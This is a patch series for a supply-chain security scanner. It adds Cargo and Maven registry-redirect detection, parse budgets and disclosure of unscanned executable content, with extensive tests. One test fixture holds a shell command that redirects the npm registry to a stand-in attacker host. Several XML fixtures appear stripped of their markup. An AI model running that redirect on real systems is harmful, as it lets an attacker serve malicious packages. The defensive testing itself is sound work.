4, + ) + assert limitation.ledger_metrics() == { + "observed_bytes": MAX_DEPENDENCY_FILE_BYTES + 1, + "limit_bytes": MAX_DEPENDENCY_FILE_BYTES, + } + + +def test_maven_physical_limit_rejects_before_parser_construction( + monkeypatch: pytest.MonkeyPatch, +) -> None: + module = importlib.import_module("skillspector.dependency_sources") + calls: list[object] = [] + + def unexpected_parser(*args: object, **kwargs: object) -> object: + calls.append((args, kwargs)) + raise AssertionError("XMLPullParser must not be constructed") + + monkeypatch.setattr(module.ET, "XMLPullParser", unexpected_parser) + content = "\n" + inventory = classify_artifact("settings.xml", content.encode()) + inventory["size_bytes"] = MAX_DEPENDENCY_FILE_BYTES + 1 + + analysis = _analyze({"settings.xml": content}, artifact_inventory=[inventory]) + + _assert_single_parse_limitation(analysis, path="settings.xml", end_line=2) + assert calls == [] + + +def test_cargo_physical_limit_rejects_before_toml_parser_construction( + monkeypatch: pytest.MonkeyPatch, +) -> None: + module = importlib.import_module("skillspector.dependency_sources") + calls: list[str] = [] + + def unexpected_loads(text: str) -> object: + calls.append(text) + raise AssertionError("tomllib must not be called") + + monkeypatch.setattr(module.tomllib, "loads", unexpected_loads) + content = "[registries.x]\nindex='https://x.example.invalid'\n" + inventory = classify_artifact(".cargo/config.toml", content.encode()) + inventory["size_bytes"] = MAX_DEPENDENCY_FILE_BYTES + 1 + + analysis = _analyze({".cargo/config.toml": content}, artifact_inventory=[inventory]) + + _assert_single_parse_limitation(analysis, path=".cargo/config.toml", end_line=3) + assert calls == [] + + +@pytest.mark.parametrize( + ("family", "path", "content", "nodes"), + [ + ( + "cargo", + ".cargo/config.toml", + "[registries.x]\nindex='https://packages.example.invalid/index'\n", + 7, + ), + ( + "maven", + "settings.xml", + "https://packages.example.invalid/m2" + "\n", + 4, + ), + ], +) +def test_cargo_and_maven_node_budget_is_exact_and_one_over( + family: str, + path: str, + content: str, + nodes: int, +) -> None: + exact_budget = DependencyWorkBudget() + assert exact_budget.charge_config_nodes(MAX_DEPENDENCY_CONFIG_NODES - nodes) is None + assert _analyze({path: content}, budget=exact_budget).limitations == () + + over_budget = DependencyWorkBudget() + assert over_budget.charge_config_nodes(MAX_DEPENDENCY_CONFIG_NODES - nodes + 1) is None + limitation = _assert_single_parse_limitation( + _analyze({path: content}, budget=over_budget), + path=path, + end_line=content.encode().count(b"\n") + 1, + ) + assert limitation.ledger_metrics() == { + "observed_records": MAX_DEPENDENCY_CONFIG_NODES + 1, + "limit_records": MAX_DEPENDENCY_CONFIG_NODES, + } + + +@pytest.mark.parametrize("family", ["cargo", "maven"]) +def test_cargo_and_maven_depth_limit_is_exact_and_one_over(family: str) -> None: + if family == "cargo": + path = ".cargo/config.toml" + + def nested(depth: int) -> str: + return f"[{'.'.join(f'a{index}' for index in range(depth - 1))}]\nvalue=1\n" + else: + path = "settings.xml" + + def nested(depth: int) -> str: + inner = "" + for index in range(depth - 2): + inner = f"{inner}" + return f"{inner}\n" + + assert _analyze({path: nested(MAX_DEPENDENCY_CONFIG_DEPTH)}).limitations == () + limitation = _assert_single_parse_limitation( + _analyze({path: nested(MAX_DEPENDENCY_CONFIG_DEPTH + 1)}), + path=path, + end_line=2 if family == "maven" else 3, + ) + assert limitation.ledger_metrics() == { + "observed_depth": MAX_DEPENDENCY_CONFIG_DEPTH + 1, + "limit_depth": MAX_DEPENDENCY_CONFIG_DEPTH, + } + + +@pytest.mark.parametrize( + ("resource", "family"), + [ + ("records", "cargo"), + ("retained", "cargo"), + ("changes", "cargo"), + ("records", "maven"), + ("retained", "maven"), + ("changes", "maven"), + ], +) +def test_cargo_and_maven_semantic_budget_is_exact_and_one_over( + resource: str, + family: str, +) -> None: + literal = "https://packages.example.invalid/m2" + if family == "cargo": + path = ".cargo/config.toml" + content = f"[registries.x]\nindex='{literal}'\n" + else: + path = "settings.xml" + content = f"{literal}\n" + + def budget_with_remaining(remaining: int) -> DependencyWorkBudget: + budget = DependencyWorkBudget() + if resource == "records": + assert budget.charge_source_records(MAX_DEPENDENCY_SOURCE_RECORDS - remaining) is None + elif resource == "retained": + assert ( + budget.charge_retained_literal_bytes( + MAX_DEPENDENCY_RETAINED_LITERAL_BYTES - len(literal.encode()) + (1 - remaining) + ) + is None + ) + else: + assert budget.reserve_source_changes(MAX_DEPENDENCY_SOURCE_CHANGES - remaining) is None + return budget + + assert _analyze({path: content}, budget=budget_with_remaining(1)).limitations == () + over = _analyze({path: content}, budget=budget_with_remaining(0)) + assert over.findings == () + assert len(over.limitations) == 1 + assert over.limitations[0].ledger_metrics() diff --git a/tests/unit/test_dependency_source_types.py b/tests/unit/test_dependency_source_types.py index e5f39fdd..b1a7ae45 100644 --- a/tests/unit/test_dependency_source_types.py +++ b/tests/unit/test_dependency_source_types.py @@ -163,7 +163,12 @@ def test_dependency_ecosystem_has_fixed_pr2_parser_categories( @pytest.mark.parametrize( ("value", "member_name"), - [(".npmrc", "NPMRC"), ("pip config", "PIP_CONFIG")], + [ + (".npmrc", "NPMRC"), + ("pip config", "PIP_CONFIG"), + ("cargo-config", "CARGO_CONFIG"), + ("maven-config", "MAVEN_CONFIG"), + ], ) def test_dependency_surface_has_fixed_direct_config_categories( value: str, @@ -176,6 +181,26 @@ def test_dependency_surface_has_fixed_direct_config_categories( assert api.DependencySourceSurface(value) is member +@pytest.mark.parametrize( + ("value", "member_name"), + [ + ("source", "SOURCE"), + ("registry", "REGISTRY"), + ("mirror", "MIRROR"), + ("repository", "REPOSITORY"), + ], +) +def test_dependency_scope_has_fixed_cargo_and_maven_categories( + value: str, + member_name: str, +) -> None: + api = _api() + + member = getattr(api.DependencySourceScope, member_name) + + assert api.DependencySourceScope(value) is member + + @pytest.mark.parametrize( "raw_destination", [ From df1460867f3956bdec638a7166364a573bda0946 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Mon, 24 Aug 2026 09:41:27 -0700 Subject: [PATCH 22/30] fix(sc10): reject ambiguous Cargo and Maven config Signed-off-by: Nir Paz --- src/skillspector/dependency_sources.py | 4 +- .../analyzers/test_dependency_sources.py | 57 +++++++++++++++++++ 2 files changed, 60 insertions(+), 1 deletion(-) diff --git a/src/skillspector/dependency_sources.py b/src/skillspector/dependency_sources.py index d000a4c2..6f022cc6 100644 --- a/src/skillspector/dependency_sources.py +++ b/src/skillspector/dependency_sources.py @@ -1670,6 +1670,8 @@ def _parse_cargo( if current in seen: return DependencySourceParseResult(limitations=(_limitation(path, raw),)) seen.add(current) + if current in sources and current in registries: + return DependencySourceParseResult(limitations=(_limitation(path, raw),)) target = sources.get(current) if target is not None: target_kind, target_value, _target_span = target @@ -1781,7 +1783,7 @@ def consume_events() -> DependencyWorkExhaustion | bool | None: current_path = tuple(frame.name for frame in frames) frame = frames[-1] if frame.name == "url" and len(frames) >= 2 and frames[-2].accepted: - frames[-2].urls.append((element.text, frame.had_child)) + frames[-2].urls.append((element.text, frame.had_child or bool(element.attrib))) if frame.accepted: if len(frame.urls) != 1: invalid_relevant = True diff --git a/tests/nodes/analyzers/test_dependency_sources.py b/tests/nodes/analyzers/test_dependency_sources.py index 14da4aed..d394f507 100644 --- a/tests/nodes/analyzers/test_dependency_sources.py +++ b/tests/nodes/analyzers/test_dependency_sources.py @@ -1513,6 +1513,43 @@ def test_cargo_two_hop_fan_in_emits_each_replacement_and_target_only_once() -> N assert private_name not in repr(analysis) +@pytest.mark.parametrize( + ("source_target", "registry_url"), + [ + ( + "registry='https://source.example.invalid/index'", + "https://registry.example.invalid/index", + ), + ( + "registry='https://github.com/rust-lang/crates.io-index'", + "sparse+https://index.crates.io/", + ), + ( + "directory='vendor'", + "https://registry.example.invalid/index", + ), + ], + ids=("configured-registry", "canonical-destinations", "inert-local-source"), +) +def test_cargo_replace_target_collision_between_source_and_registry_is_a_limitation( + source_target: str, + registry_url: str, +) -> None: + content = ( + "[source.origin]\nreplace-with='collision'\n" + f"[source.collision]\n{source_target}\n" + f"[registries.collision]\nindex='{registry_url}'\n" + ) + + analysis = _analyze({".cargo/config.toml": content}) + + _assert_single_parse_limitation( + analysis, + path=".cargo/config.toml", + end_line=7, + ) + + @pytest.mark.parametrize( "content", [ @@ -1711,6 +1748,26 @@ def test_maven_missing_empty_duplicate_unsupported_or_malformed_urls_are_limitat ) +@pytest.mark.parametrize( + "attribute", + [ + 'unexpected="value"', + 'xmlns:private="urn:test" private:unexpected="value"', + ], + ids=("plain", "namespaced"), +) +def test_maven_rejects_attributes_on_accepted_url(attribute: str) -> None: + content = ( + f"" + "https://packages.example.invalid/m2" + "\n" + ) + + analysis = _analyze({"settings.xml": content}) + + _assert_single_parse_limitation(analysis, path="settings.xml", end_line=2) + + @pytest.mark.parametrize( "marker", [ From 0d1b07b1ba6e2b12b8d2e901a93fc48ccec0ba75 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Mon, 24 Aug 2026 10:36:41 -0700 Subject: [PATCH 23/30] feat(sc10): disclose unscanned executable source changes Signed-off-by: Nir Paz --- src/skillspector/dependency_source_types.py | 31 +++ src/skillspector/dependency_sources.py | 169 ++++++++++++- src/skillspector/inspection_ledger.py | 8 + .../nodes/analyzers/pattern_defaults.py | 2 + .../analyzers/static_patterns_supply_chain.py | 185 +++++++++++++- .../analyzers/test_dependency_sources.py | 111 +++++++++ tests/nodes/test_analysis_completeness.py | 50 ++++ tests/nodes/test_report.py | 9 + tests/nodes/test_sc10_coverage_contract.py | 231 ++++++++++++++++-- tests/nodes/test_security_end_to_end.py | 79 +++++- tests/unit/test_mcp_server.py | 20 ++ 11 files changed, 860 insertions(+), 35 deletions(-) diff --git a/src/skillspector/dependency_source_types.py b/src/skillspector/dependency_source_types.py index 3a1c2880..6f7d81fe 100644 --- a/src/skillspector/dependency_source_types.py +++ b/src/skillspector/dependency_source_types.py @@ -280,6 +280,22 @@ def ledger_metrics(self) -> dict[str, int]: } +@dataclass(frozen=True, slots=True) +class DependencySourceSpan: + """Sanitized whole-file or localized line range for integration accounting.""" + + path: str + start_line: int + end_line: int + + def __post_init__(self) -> None: + object.__setattr__(self, "path", _normalize_relative_posix_path(self.path)) + start_line = _require_nonnegative_integer(self.start_line, "start_line") + end_line = _require_nonnegative_integer(self.end_line, "end_line") + if start_line < 1 or end_line < start_line: + raise ValueError("span line range must be positive and inclusive") + + @dataclass(frozen=True, slots=True) class DependencySourceParseResult: """Sanitized parser or adapter output.""" @@ -304,16 +320,31 @@ class DependencySourceAnalysis: findings: tuple[Finding, ...] = () limitations: tuple[DependencySourceLimitation, ...] = () + applicable_spans: tuple[DependencySourceSpan, ...] = () + inspected_spans: tuple[DependencySourceSpan, ...] = () + ledger_exhaustion: DependencyWorkExhaustion | None = None def __post_init__(self) -> None: findings = tuple(self.findings) limitations = tuple(self.limitations) + applicable_spans = tuple(self.applicable_spans) + inspected_spans = tuple(self.inspected_spans) if not all(isinstance(finding, Finding) for finding in findings): raise ValueError("findings must contain Finding values") if not all(isinstance(item, DependencySourceLimitation) for item in limitations): raise ValueError("limitations must contain DependencySourceLimitation values") + if not all(isinstance(item, DependencySourceSpan) for item in applicable_spans): + raise ValueError("applicable_spans must contain DependencySourceSpan values") + if not all(isinstance(item, DependencySourceSpan) for item in inspected_spans): + raise ValueError("inspected_spans must contain DependencySourceSpan values") + if self.ledger_exhaustion is not None and not isinstance( + self.ledger_exhaustion, DependencyWorkExhaustion + ): + raise ValueError("ledger_exhaustion must be DependencyWorkExhaustion") object.__setattr__(self, "findings", findings) object.__setattr__(self, "limitations", limitations) + object.__setattr__(self, "applicable_spans", applicable_spans) + object.__setattr__(self, "inspected_spans", inspected_spans) def finding_from_source_change(change: SourceChange) -> Finding: diff --git a/src/skillspector/dependency_sources.py b/src/skillspector/dependency_sources.py index 6f022cc6..0e9b29b5 100644 --- a/src/skillspector/dependency_sources.py +++ b/src/skillspector/dependency_sources.py @@ -39,6 +39,7 @@ DependencySourceOperation, DependencySourceParseResult, DependencySourceScope, + DependencySourceSpan, DependencySourceSurface, DependencyWorkBudget, DependencyWorkExhaustion, @@ -73,6 +74,15 @@ _PIP_ASSIGNMENT: Final = re.compile(r"^\s*([^:=\s][^:=]*?)\s*([=:])\s*(.*)$") _PIP_SECTION: Final = re.compile(r"^\s*\[([^]]+)]\s*(?:[#;].*)?$") _PIP_OPTIONS: Final = ("index-url", "extra-index-url") +_SHELL_SUFFIXES: Final = frozenset({".sh", ".bash", ".zsh", ".ksh", ".envrc"}) +_SHELL_NAMES: Final = frozenset({"sh", "bash", "dash", "zsh", "ksh"}) +_MARKDOWN_SHELL_INFO: Final = _SHELL_NAMES | frozenset( + {"shell", "console", "terminal", "shell-session"} +) +_SHELL_SHEBANG: Final = re.compile( + r"^#!(?:/[^\s]*/(?:sh|bash|dash|zsh|ksh)|/usr/bin/env(?:[ \t]+-S)?[ \t]+(?:sh|bash|dash|zsh|ksh))(?:[ \t]|$)" +) +_MARKDOWN_FENCE_OPEN: Final = re.compile(r"^ {0,3}(`{3,}|~{3,})([^\r\n]*)$") _CANONICAL_DEFAULTS: Final[dict[DependencyEcosystem, frozenset[str]]] = { DependencyEcosystem.NPM: frozenset({"https://registry.npmjs.org/"}), DependencyEcosystem.YARN: frozenset({"https://registry.yarnpkg.com/"}), @@ -216,6 +226,98 @@ def _physical_lines(text: str) -> list[str]: return [part[:-1] if part.endswith("\r") else part for part in text.split("\n")] +def _whole_file_span(path: str, raw: bytes | None) -> DependencySourceSpan: + return DependencySourceSpan(path=path, start_line=1, end_line=_line_count(raw)) + + +def _is_shell_shebang(line: str) -> bool: + return _SHELL_SHEBANG.match(line) is not None + + +def _markdown_executable_ranges(lines: list[str]) -> list[tuple[int, int]]: + ranges: list[tuple[int, int]] = [] + index = 0 + while index < len(lines): + opener = _MARKDOWN_FENCE_OPEN.match(lines[index]) + if opener is None: + index += 1 + continue + fence = opener.group(1) + info = opener.group(2).strip() + token = info.split(maxsplit=1)[0].casefold() if info else "" + closer = re.compile(rf"^ {{0,3}}{re.escape(fence[0])}{{{len(fence)},}}[ \t]*$") + end_index = index + 1 + while end_index < len(lines) and closer.match(lines[end_index]) is None: + end_index += 1 + content_end = min(end_index, len(lines)) + relevant = token in _MARKDOWN_SHELL_INFO + if not info: + first_content = next( + (line for line in lines[index + 1 : content_end] if line.strip()), + "", + ) + relevant = ( + _is_shell_shebang(first_content) + or first_content.startswith("$ ") + or first_content.startswith("# ") + ) + if relevant: + ranges.append((index + 1, min(end_index + 1, len(lines)))) + index = end_index + 1 if end_index < len(lines) else len(lines) + return ranges + + +def _make_recipe_ranges(lines: list[str]) -> list[tuple[int, int]]: + ranges: list[tuple[int, int]] = [] + index = 0 + while index < len(lines): + if not lines[index].startswith("\t"): + index += 1 + continue + start = index + index += 1 + while index < len(lines) and ( + lines[index].startswith("\t") or lines[index - 1].rstrip().endswith("\\") + ): + index += 1 + ranges.append((start + 1, index)) + return ranges + + +def _executable_surface_ranges( + path: str, + text: str, + raw: bytes, + executable_paths: frozenset[str], +) -> list[DependencySourceSpan]: + """Identify bounded executable shapes without interpreting command semantics.""" + lines = _physical_lines(text) + basename = _basename(path) + lower_path = path.casefold() + whole_file = (1, _line_count(raw)) + ranges: list[tuple[int, int]] = [] + + if ( + any(lower_path.endswith(suffix) for suffix in _SHELL_SUFFIXES) + or (lines and _is_shell_shebang(lines[0])) + or path in executable_paths + ): + ranges.append(whole_file) + elif (basename == "Dockerfile" or basename.startswith("Dockerfile.")) and any( + re.match(r"^[ \t]*RUN(?:[ \t]|$)", line, re.IGNORECASE) for line in lines + ): + ranges.append(whole_file) + elif basename in {"Makefile", "makefile", "GNUmakefile"} or basename.endswith(".mk"): + ranges.extend(_make_recipe_ranges(lines)) + elif lower_path.endswith((".md", ".markdown", ".mdown", ".mkd")): + ranges.extend(_markdown_executable_ranges(lines)) + + return [ + DependencySourceSpan(path=path, start_line=start_line, end_line=end_line) + for start_line, end_line in dict.fromkeys(ranges) + ] + + def _line_offsets(text: str) -> list[int]: offsets: list[int] = [] current = 0 @@ -2026,8 +2128,14 @@ def analyze_dependency_sources( raw_file_cache: Mapping[str, bytes], artifact_inventory: Iterable[ArtifactRecord], budget: DependencyWorkBudget, + executable_paths: frozenset[str] = frozenset(), ) -> DependencySourceAnalysis: - """Analyze recognized direct config artifacts named by the component inventory.""" + """Analyze direct configs and disclose structurally executable unscanned surfaces.""" + if not isinstance(executable_paths, frozenset): + raise ValueError("executable_paths must be an immutable set") + normalized_executable_paths = frozenset( + DependencySourceSpan(path=path, start_line=1, end_line=1).path for path in executable_paths + ) inventory_by_path: dict[str, list[ArtifactRecord]] = {} for record in artifact_inventory: path = record.get("path") @@ -2038,8 +2146,61 @@ def analyze_dependency_sources( uv_directories = { path.rpartition("/")[0] for path in component_paths if _basename(path) == "uv.toml" } + applicable_spans = tuple( + _whole_file_span( + path, + raw_file_cache.get(path) if isinstance(raw_file_cache.get(path), bytes) else None, + ) + for path in sorted(component_paths) + if _is_recognized_path(path) + ) + coverage_limitations: list[DependencySourceLimitation] = [] + for path in sorted(component_paths): + raw = raw_file_cache.get(path) + if not isinstance(raw, bytes): + continue + records = inventory_by_path.get(path, []) + if len(records) != 1 or not _is_complete_text_record(records[0], len(raw)): + continue + try: + decoded = raw.decode("utf-8", errors="strict") + except UnicodeDecodeError: + continue + cached = local_file_cache.get(path) + if not isinstance(cached, str) or cached != decoded: + continue + for span in _executable_surface_ranges( + path, + decoded, + raw, + normalized_executable_paths, + ): + coverage_limitations.append( + DependencySourceLimitation( + reason=DependencySourceLimitationReason.UNSCANNED_EXECUTABLE_CONTENT, + path=span.path, + start_line=span.start_line, + end_line=span.end_line, + ) + ) + coverage_limitations = list( + { + (item.reason, item.path, item.start_line, item.end_line): item + for item in coverage_limitations + }.values() + ) + required_ledger_rows = len(applicable_spans) + len(coverage_limitations) + if exhaustion := budget.charge_ledger_events(required_ledger_rows): + budget.claim_reserved_truncation_event() + return DependencySourceAnalysis( + limitations=tuple(coverage_limitations), + applicable_spans=applicable_spans, + ledger_exhaustion=exhaustion, + ) + changes: list[SourceChange] = [] - limitations: list[DependencySourceLimitation] = [] + limitations: list[DependencySourceLimitation] = list(coverage_limitations) + inspected_spans: list[DependencySourceSpan] = [] for path in sorted(component_paths): if not isinstance(path, str) or not _is_recognized_path(path): continue @@ -2079,8 +2240,12 @@ def analyze_dependency_sources( ) changes.extend(parsed.changes) limitations.extend(parsed.limitations) + if not parsed.limitations: + inspected_spans.append(_whole_file_span(path, safe_raw)) return DependencySourceAnalysis( findings=tuple(finding_from_source_change(change) for change in changes), limitations=tuple(limitations), + applicable_spans=applicable_spans, + inspected_spans=tuple(inspected_spans), ) diff --git a/src/skillspector/inspection_ledger.py b/src/skillspector/inspection_ledger.py index d89249b7..ca4162e6 100644 --- a/src/skillspector/inspection_ledger.py +++ b/src/skillspector/inspection_ledger.py @@ -90,6 +90,8 @@ class LedgerReason(StrEnum): TRAVERSAL_DEPTH_LIMIT = "traversal_depth_limit" TOTAL_BYTES_LIMIT = "total_bytes_limit" RUNTIME_LIMIT = "runtime_limit" + UNSCANNED_EXECUTABLE_CONTENT = "unscanned_executable_content" + DEPENDENCY_SOURCE_PARSE_INCOMPLETE = "dependency_source_parse_incomplete" OUTPUT_LIMIT = "output_limit" @@ -175,6 +177,12 @@ class LedgerReason(StrEnum): LedgerReason.TRAVERSAL_DEPTH_LIMIT: ("Bundle discovery reached its directory-depth limit."), LedgerReason.TOTAL_BYTES_LIMIT: "Bundle caching reached its aggregate byte limit.", LedgerReason.RUNTIME_LIMIT: "Inspection reached its configured runtime limit.", + LedgerReason.UNSCANNED_EXECUTABLE_CONTENT: ( + "Executable content was identified but is not inspected for dependency-source changes." + ), + LedgerReason.DEPENDENCY_SOURCE_PARSE_INCOMPLETE: ( + "Dependency-source configuration could not be completely interpreted." + ), LedgerReason.OUTPUT_LIMIT: "Inspection reached its configured output limit.", } diff --git a/src/skillspector/nodes/analyzers/pattern_defaults.py b/src/skillspector/nodes/analyzers/pattern_defaults.py index edbe2f7b..1bff293e 100644 --- a/src/skillspector/nodes/analyzers/pattern_defaults.py +++ b/src/skillspector/nodes/analyzers/pattern_defaults.py @@ -95,6 +95,7 @@ class PatternCategory(StrEnum): "SC7": "Code pulls a container image with signature or registry verification disabled (--disable-content-trust, DOCKER_CONTENT_TRUST=0, --insecure-registry). This accepts tampered or unverified images and is a container supply-chain risk.", "SC8": "Skill ships Python bytecode (__pycache__/ or .pyc/.pyo). Discovery skips these paths, so malicious bytecode can score SAFE while decoy sources look clean.", "SC9": "Executable content is concealed inside a document container or hidden/disguised artifact, where extension-based review can miss it.", + "SC10": "Dependency configuration redirects package resolution away from its canonical default source.", # Trigger Abuse "TR1": "Skill uses overly broad trigger patterns that match common words or phrases, causing it to activate in unintended contexts and potentially shadow other skills.", "TR2": "Skill trigger shadows a common built-in command or another skill's trigger, potentially intercepting requests meant for trusted functionality.", @@ -195,6 +196,7 @@ class PatternCategory(StrEnum): "SC7": PatternCategory.SUPPLY_CHAIN.value, "SC8": PatternCategory.SUPPLY_CHAIN.value, "SC9": PatternCategory.SUPPLY_CHAIN.value, + "SC10": PatternCategory.SUPPLY_CHAIN.value, "TR1": PatternCategory.TRIGGER_ABUSE.value, "TR2": PatternCategory.TRIGGER_ABUSE.value, "TR3": PatternCategory.TRIGGER_ABUSE.value, diff --git a/src/skillspector/nodes/analyzers/static_patterns_supply_chain.py b/src/skillspector/nodes/analyzers/static_patterns_supply_chain.py index 2d21081b..1ee91992 100644 --- a/src/skillspector/nodes/analyzers/static_patterns_supply_chain.py +++ b/src/skillspector/nodes/analyzers/static_patterns_supply_chain.py @@ -13,7 +13,7 @@ # See the License for the specific language governing permissions and # limitations under the License. -"""Static patterns: supply chain (SC1–SC9) and trigger analysis (TR1–TR3). +"""Static patterns: supply chain (SC1–SC10) and trigger analysis (TR1–TR3). SC1–SC3: regex-based pattern matching (original implementation). SC4: Known vulnerable dependencies — live OSV.dev lookup with static fallback. @@ -22,6 +22,7 @@ SC7: Untrusted container image — flags image signature / registry-verification bypass. SC8: Shipped Python bytecode — flags __pycache__/ and *.pyc/*.pyo that discovery skips. SC9: Concealed executable artifact — flags executables nested in document or hidden artifacts. +SC10: Dependency source change — deterministic direct-config inspection. TR1–TR3: Trigger analysis — flags overly broad, shadowing, or baiting triggers. Node and analyze() in one module. @@ -44,12 +45,23 @@ from packaging.requirements import InvalidRequirement, Requirement from packaging.version import InvalidVersion, Version +from skillspector.dependency_source_types import ( + DependencySourceLimitation, + DependencySourceLimitationReason, + DependencySourceSpan, + DependencyWorkBudget, +) +from skillspector.dependency_sources import analyze_dependency_sources from skillspector.inspection_ledger import ( MAX_FINDING_OUTPUT_RECORDS, + AnalyzerStatusEvent, + InspectionLedgerEvent, LedgerOutcome, LedgerReason, LedgerRecordType, + analyzer_status_event, analyzer_status_for_events, + inspection_work_id, ledger_event, ) from skillspector.logging_config import get_logger @@ -57,6 +69,7 @@ from skillspector.state import ( AnalyzerNodeResponse, SkillspectorState, + merge_inspection_ledger, transitive_note_truncation, transitive_remaining_seconds, ) @@ -1964,7 +1977,7 @@ def _analyze_concealed_executables( def node(state: SkillspectorState) -> AnalyzerNodeResponse: - """Run supply_chain patterns (SC1–SC9) and trigger analysis (TR1–TR3).""" + """Run supply_chain patterns (SC1–SC10) and trigger analysis (TR1–TR3).""" # SC1–SC3 via static_runner response = static_runner.run_static_patterns_with_ledger(state, [sys.modules[__name__]]) findings = response["findings"] @@ -2253,8 +2266,174 @@ def dependency_remaining_seconds() -> float: f"{ANALYZER_ID}_concealed_executable", ) + # SC10: deterministic direct configuration plus explicit executable-surface gaps. + # Only the normalized executable bit crosses the inventory boundary; no metadata + # payload is passed to dependency-source parsing or projected into output. + executable_path_values: set[str] = set() + for metadata in component_metadata: + metadata_path = metadata.get("path") + if ( + metadata.get("executable") is True + and isinstance(metadata_path, str) + and metadata_path in components + ): + executable_path_values.add(metadata_path) + executable_paths = frozenset(executable_path_values) + dependency_source_budget = DependencyWorkBudget.from_existing( + findings=findings, + ledger_events=response["inspection_ledger"], + ) + source_analysis = analyze_dependency_sources( + components=components, + local_file_cache=file_cache, + raw_file_cache=state.get("raw_file_cache") or {}, + artifact_inventory=state.get("artifact_inventory") or [], + budget=dependency_source_budget, + executable_paths=executable_paths, + ) + parse_limitations_by_path: dict[str, list[DependencySourceLimitation]] = {} + coverage_limitations: list[DependencySourceLimitation] = [] + for source_limitation in source_analysis.limitations: + if ( + source_limitation.reason + is DependencySourceLimitationReason.UNSCANNED_EXECUTABLE_CONTENT + ): + coverage_limitations.append(source_limitation) + else: + parse_limitations_by_path.setdefault(source_limitation.path, []).append( + source_limitation + ) + + findings_by_source_path: dict[str, list[Finding]] = {} + for finding in source_analysis.findings: + findings_by_source_path.setdefault(finding.file, []).append(finding) + + source_rows: list[InspectionLedgerEvent] = [] + for span in source_analysis.applicable_spans: + path_limitations = parse_limitations_by_path.get(span.path, []) + finding_ids = [finding.finding_id for finding in findings_by_source_path.get(span.path, [])] + if path_limitations: + source_limitation = path_limitations[0] + source_rows.append( + ledger_event( + analyzer_id="dependency_sources", + outcome=LedgerOutcome.PARTIAL, + phase="static", + path=span.path, + start_line=min(item.start_line for item in path_limitations), + end_line=max(item.end_line for item in path_limitations), + reason=LedgerReason.DEPENDENCY_SOURCE_PARSE_INCOMPLETE, + emitted_finding_ids=finding_ids, + observed_bytes=source_limitation.observed_bytes, + limit_bytes=source_limitation.limit_bytes, + observed_findings=source_limitation.observed_findings, + limit_findings=source_limitation.limit_findings, + observed_depth=source_limitation.observed_depth, + limit_depth=source_limitation.limit_depth, + observed_records=source_limitation.observed_records, + limit_records=source_limitation.limit_records, + ) + ) + else: + source_rows.append( + ledger_event( + analyzer_id="dependency_sources", + outcome=LedgerOutcome.COMPLETED, + phase="static", + path=span.path, + start_line=span.start_line, + end_line=span.end_line, + emitted_finding_ids=finding_ids, + ) + ) + + coverage_rows: list[InspectionLedgerEvent] = [ + ledger_event( + analyzer_id="dependency_source_coverage", + outcome=LedgerOutcome.PARTIAL, + phase="static", + path=source_limitation.path, + start_line=source_limitation.start_line, + end_line=source_limitation.end_line, + reason=LedgerReason.UNSCANNED_EXECUTABLE_CONTENT, + ) + for source_limitation in coverage_limitations + ] + base_ledger = list(response["inspection_ledger"]) + if source_analysis.ledger_exhaustion is None: + findings.extend(source_analysis.findings) + response["inspection_ledger"] = merge_inspection_ledger( + base_ledger, + [*source_rows, *coverage_rows], + ) + source_status = analyzer_status_for_events("dependency_sources", source_rows) + coverage_status = analyzer_status_for_events("dependency_source_coverage", coverage_rows) + else: + omitted_path = ( + source_analysis.applicable_spans[0].path + if source_analysis.applicable_spans + else coverage_limitations[0].path + if coverage_limitations + else "SKILL.md" + ) + exhaustion = source_analysis.ledger_exhaustion + marker = ledger_event( + outcome=LedgerOutcome.PARTIAL, + record_type=LedgerRecordType.SYSTEM, + phase="ledger_output", + path=omitted_path, + reason=LedgerReason.OUTPUT_LIMIT, + observed_records=exhaustion.observed, + limit_records=exhaustion.limit, + ) + response["inspection_ledger"] = merge_inspection_ledger(base_ledger, [marker]) + + def output_limited_status( + analyzer_id: str, + spans: list[DependencySourceSpan], + ) -> AnalyzerStatusEvent: + if not spans: + return analyzer_status_for_events(analyzer_id, []) + return analyzer_status_event( + analyzer_id=analyzer_id, + status="degraded", + reason=LedgerReason.OUTPUT_LIMIT, + planned_work=[ + { + "work_id": inspection_work_id( + analyzer_id, + span.path, + span.start_line, + span.end_line, + ), + "path": span.path, + "start_line": span.start_line, + "end_line": span.end_line, + } + for span in spans + ], + ) + + source_status = output_limited_status( + "dependency_sources", + list(source_analysis.applicable_spans), + ) + coverage_status = output_limited_status( + "dependency_source_coverage", + [ + DependencySourceSpan( + path=item.path, + start_line=item.start_line, + end_line=item.end_line, + ) + for item in coverage_limitations + ], + ) + logger.info("%s: %d findings", ANALYZER_ID, len(findings)) response["analyzer_status_events"] = [ - analyzer_status_for_events(ANALYZER_ID, response["inspection_ledger"]) + analyzer_status_for_events(ANALYZER_ID, base_ledger), + source_status, + coverage_status, ] return response diff --git a/tests/nodes/analyzers/test_dependency_sources.py b/tests/nodes/analyzers/test_dependency_sources.py index d394f507..f68391e0 100644 --- a/tests/nodes/analyzers/test_dependency_sources.py +++ b/tests/nodes/analyzers/test_dependency_sources.py @@ -37,6 +37,7 @@ def _analyze( files: Mapping[str, str], *, components: Iterable[str] | None = None, + executable_paths: frozenset[str] | None = None, raw_file_cache: Mapping[str, bytes] | None = None, local_file_cache: Mapping[str, str] | None = None, artifact_inventory: list[ArtifactRecord] | None = None, @@ -53,12 +54,16 @@ def _analyze( if artifact_inventory is not None else [classify_artifact(path, data) for path, data in raw.items()] ) + kwargs: dict[str, object] = {} + if executable_paths is not None: + kwargs["executable_paths"] = executable_paths return _analyzer()( components=list(components) if components is not None else list(files), local_file_cache=local, raw_file_cache=raw, artifact_inventory=inventory, budget=budget or DependencyWorkBudget(), + **kwargs, ) @@ -83,6 +88,112 @@ def _assert_single_parse_limitation(analysis: Any, *, path: str, end_line: int) return limitation +def test_analysis_exposes_applicable_and_inspected_config_spans() -> None: + clean = _analyze({".npmrc": "registry=https://registry.npmjs.org/\n"}) + malformed = _analyze({"pip.conf": "[global\nindex-url=https://example.invalid\n"}) + + assert [(span.path, span.start_line, span.end_line) for span in clean.applicable_spans] == [ + (".npmrc", 1, 2) + ] + assert clean.inspected_spans == clean.applicable_spans + assert [(span.path, span.start_line, span.end_line) for span in malformed.applicable_spans] == [ + ("pip.conf", 1, 3) + ] + assert malformed.inspected_spans == () + + +@pytest.mark.parametrize( + ("path", "content", "executable_paths", "expected_ranges"), + [ + ( + "scripts/bootstrap.sh", + "npm config set registry https://attacker.invalid\n", + 